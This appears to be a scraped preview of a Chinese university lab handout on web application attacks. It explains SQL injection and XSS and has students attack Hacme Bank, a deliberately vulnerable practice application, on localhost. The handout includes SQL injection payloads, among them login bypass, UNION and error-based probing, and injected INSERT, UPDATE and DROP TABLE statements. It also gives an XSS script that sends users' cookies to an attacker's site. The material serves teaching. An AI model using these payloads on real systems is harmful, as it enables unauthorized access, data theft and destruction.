web应用攻实验_第1页
web应用攻实验_第2页
web应用攻实验_第3页
web应用攻实验_第4页
web应用攻实验_第5页
已阅读5页,还剩14页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、Web攻击实验实践实验十 web应用攻击1、实验目的通过该实验,使学生认识到web应用攻击的原理和危害,通过该实验,了解web应用攻击的原理,掌握web应用攻击的方法和对策。 2、实验类型验证型,2 学时,必选实验3、实验要求要求了解web应用攻击的原理,掌握web应用攻击的方法和对策等。4、预备知识 目前Web技术在客户和服务端的广泛利用,导致黑客们越来越倾向于使用各种攻击手法来进行Web应用攻击,即绕过了防火墙等常规防护手段,也使得攻击手段更加简便和多样化,令人防不胜防。黑客们普遍使用Web进行攻击的做法是有原因的:Web应用攻击1. 服务器漏洞由于存在漏洞和服务器管理配置错误,Inter

2、net Information Server(IIS)和Apache网络服务器经常被黑客用来攻击。Web应用攻击2. Web服务器虚拟托管同时托管几个甚至数千个网站的服务器也是恶意攻击的目标。Web应用攻击3. 显性/开放式代理被黑客控制的计算机可以被设置为代理服务器,躲避URL过滤对通信的控制,进行匿名上网或者充当非法网站数据流的中间人。Web应用攻击4. HTML可以从网页内完全不同的服务器嵌入对象用户可以从特定网站请求浏览网页,只自动地从Google分析服务器等合法网站下载对象;广告服务器;恶意软件下载网站;或者被重新导向至恶意软件网站。Web应用攻击5. 普通客户机可能是黑客的试水石I

3、nternet Explorer、Firefox等各种浏览区以及Windows操作系统中包含了很多可以被黑客利用的漏洞,特别是在用户经常不及时安装补丁的情况下。黑客会利用这些漏洞在不经用户同意的情况下自动下载恶意软件代码也称作隐藏式下载。因此他们可能经常变成被黑客控制的傀儡,在访问您网站的同时,给您的Web应用带来风险。Web应用攻击6. 各种移动代码、跨站脚本在网站上被广泛使用在浏览器中禁用JavaScript、Java applets、.NET应用、Flash或ActiveX似乎是个好主意,因为它们都会在您的计算机上自动执行脚本或代码,但是如果禁用这些功能,很多网站可能无法浏览。这为编码糟

4、糕的Web应用开启了大门,它们接受用户输入并使用Cookies,就像在跨站点脚本(XSS)中一样。在这种情况下,某些需要访问与其他开放页面的数据(Cookies)Web应用会出现混乱。任何接受用户输入的Web应用(博客、Wikis、评论部分)可能会在无意中接受恶意代码,而这些恶意代码可以被返回给其他用户,除非用户的输入被检查确认为恶意代码。Web应用攻击7. 对HTTP和HTTPS的普遍访问访问互联网必须使用Web,所有计算机都可以通过防火墙访问HTTP和HTTPS(TCP端口80和443)。可以假定所有计算机都能够访问外部网络。很多程序都通过HTTP访问互联网,例如IM和P2P软件。此外,这

5、些被劫持的软件打开了发送僵尸网络命令的通道。Web应用攻击8.在邮件中采用嵌入式HTML由于SMTP电子邮件网关会在一定程度上限制可以邮件的发送,黑客已经不经常在电子邮件中发送恶意代码。相反,电子邮件中的HTML被用于从Web上获取恶意软件代码,而用户可能根本不知道已经向可以网站发送了请求。从上面这些黑客常用的攻击方向中我们可以看到,为了避免使我们成为以上这些黑客关注的对象,我们需要一种专门针对Web应用进行全面防护的设备,部署一个立体防护的层次,使其能自动智能化地对黑客的这些攻击手段进行判别和防护。而非使用一个或多个传统的只有固定策略或固定攻击特征库的被动防护网关来解决。WEB应用防火墙的出

6、现就是为了专门解决这方面难题的,应用防火墙通过执行应用会话内部的请求来处理应用层,它专门保护Web应用通信流和所有相关的应用资源免受利用Web协议或应用程序漏洞发动的攻击。应用防火墙可以阻止将应用行为用于恶意目的的浏览器和HTTP攻击,一些强大的应用防火墙甚至能够模拟代理成为网站服务器接受应用交付,形象的来说相当于给原网站加上了一个安全的绝缘外壳。其中代码注入是针对web应用程序主流攻击技术之一,在OWASP公布的top10攻击中一直排在前几位。代码注入攻击通过利用web应用程序的输入验证不完善的漏洞是web应用程序执行由攻击者所注入的恶意指令和代码,造成名信息泄漏、权限提升或对系统的未授权访

7、问等危害。代码注入根据攻击目标的不同分为:l 恶意读取、修改与操纵数据库的SQL注入工具;l 在web服务器端安装执行webshell等恶意脚本的PHP注入或ASP注入;l 在web服务器端恶意执行操作系统命令的Shell注入工具;l 其他多种多样的注入攻击,如LDAP注入、邮件命令注入、空字节注入、SSI注入、XPath注入、XML注入、XQuery注入。在这些注入攻击中,SQL注入是最常见的,也是较为只管的一种攻击技术。SQL注入原理:向web应用程序提供的用户输入接口(如一个动态页面的输入参数、表单的输入框)输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得

8、以执行完成非预期的攻击操作行为。示例:如在一个登录页面,有输入用户名和密码的表单,当我们填写好信息提交后,后台数据库会执行查询语句:Select * from accounts where username = guojing and passwd = 123;但是如果我们在输入框中分别输入“huangrong or 1 = 1 ”时,sql语句就会变为:Select * from accounts where username = huangrong or 1 = 1 and passwd = huangrong or 1 = 1;在 1 = 1的控制下,where语句永真,会登录没有做输入

9、验证的web应用。当然,如果支持同时执行多条语句,我们可以在输入框中构造多条sql语句,包括删除任意数据表。大家考虑一下多条语句的注入怎么写。另一类常见的SQL注入漏洞是由于不正确的类型处理,没有对用户输入参数进行类型约束的检测,比如一个在sql语句中使用整型字段用户输入,而恶意用户则输入了一个非整型类型的字符串,就有可能导致最终的SQL语句按照用户的攻击目的执行注入指令代码。示例:一个要求整型输入的输入框提交后,后台会生成:Select * from userinfo where id = 123;恶意用户可能把整数换位:Select * from userinfo where id = 1

10、23;drop table accounts;SQL注入的攻击步骤和过程:l 发现注入点;l 判断后台数据库服务器类型;l 后台数据库中管理员用户口令字猜解;l 上传ASP后门,得到默认账户权限;l 本地权限提升。XSS(跨站)脚本攻击与代码注入不同,XSS的最终目标不是提供web应用程序,而是使用web应用程序的用户。XSS漏洞存在于web应用程序中,使得攻击者可以在web页面中插入恶意的HTML或js代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户名信息、客户端渗透攻击等危害后果。原理:攻击者利用web应用程序中的安全漏洞,在服务端网页中插入一些的客户端

11、脚本代码,在web服务器上产生出一些恶意攻击页面。当其他用户访问这些页面时,他们使用的客户端浏览器就会下载并执行这些网页中的恶意客户端脚本,进行解析与执行,从而遭受攻击。攻击方式包括绕过客户端安全策略访问敏感信息,窃取或修改回话cookie、进行客户端渗透攻击获取访问权限。大家可以想象一下,如果将用户输入内容替换为“<script>alert(document.cookie)</script>”,则弹出对话框中将显示当前用户在该web站点上的回话cookie,其中可能包含了回话ID、甚至登录口令等敏感信息;而如果攻击者需要窃取所有访问留言页面用户的cookie,则只需要

12、先建立一个自己的网站:steal_cookie_,然后将输入内容替换为:“<script>document.location=http:/steal_cookie_ src=http:/target_link height=0 width=0></iframe>”或“<script src=”http:/target_link”></script>”的方式来完成客户端渗透攻击页面的隐蔽植入。、实验环境、工具:Hacme Bank,这个简易的银行系统实现了银行的一些基本业务,包括:转账、贷款、查看账户等功能。5 1环境配置:l 安装.net1

13、.1即文件中的dotnetfx.exe。l 安装Microsoft IIS,文件中有IIS的安装过程,完成后执行下面命令:c:windowsframeworkv1.1.4322aspnet_regiis -i。l 解压MSDE2000A后在ini文件中设置sa密码即在optiong下面添加两行:SECURITYMODE=SQLSAPWD=123,然后安装(sapwd是sa密码),安装结束后启动sql服务。l 安装Foundstone Hacme Bank WebService Setup v2.0,安装过程中数据库设置trusted connection。l 安装Foundstone Hacm

14、e Bank Website Setup v2.0 l 打开Hacme Bank WebSite v2.0即可查看安装是否成功。51实验内容:Hacme Bank三个帐号通过以下方式可以进入管理后台。5.2.1 Sql注入1. 按照说明配置Hacme Bank2. 打开登录界面http:/localhost/HacmeBank_v2_Website3. 用户名处输入 ' OR 1=1-4. 登录测试2:检测各个字段类型1.用户名处输入 ' HAVING 1=1-2. 登录从红色提示可以得出:表名为fsb_users,它有个列为user_id3. 输入' UNION SE

15、LECT * FROM FSB_USERS WHERE USER_ID = 'JV' GROUP BY USER_ID HAVING 1 = 1;-4. 输入' UNION SELECT SUM(USER_NAME) FROM FSB_USERS HAVING 1=1 -测试3:检测numeric类型字段是否自增1.输入jv' and 1 in (select top 1 CONVERT(int, CONVERT(varchar, id) + '_ThrowAnConvertError_') from FoundStone_Bank.sysobj

16、ects where (name = 'fsb_users') -得到了该table id。2.输入jv' and 1 in (select top 1 CONVERT(int, CONVERT(varchar, colstat) + '_ThrowAnConvertError_')from FoundStone_Bank.syscolumns where (name='user_id') and (id=2057058364) -Colstat是1说明设置了自增,否则不是自增。由上图可以看出,当我们想要进行插入操作时,不能设置user_

17、id的值测试4:插入语句的注入1. 输入' INSERT INTO FSB_USERS (user_name, login_id, password, creation_date) VALUES('qq','qq', 'qq789', GETDATE();-2. 使用该用户登录同样我们可以使用' UPDATE FSB_USERS SET PASSWORD='TEST123' WHERE LOGIN_ID='JV'-修改某用户密码,同学自己尝试。实验:Insufficient Data Validation1. 登录系统,进入Transfer Funds选项。2. 选择外部账户,例如jm的52043204220400043. 设置代理,IE>工具->internet选项->连接->局域网设置  。4. 打开par

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论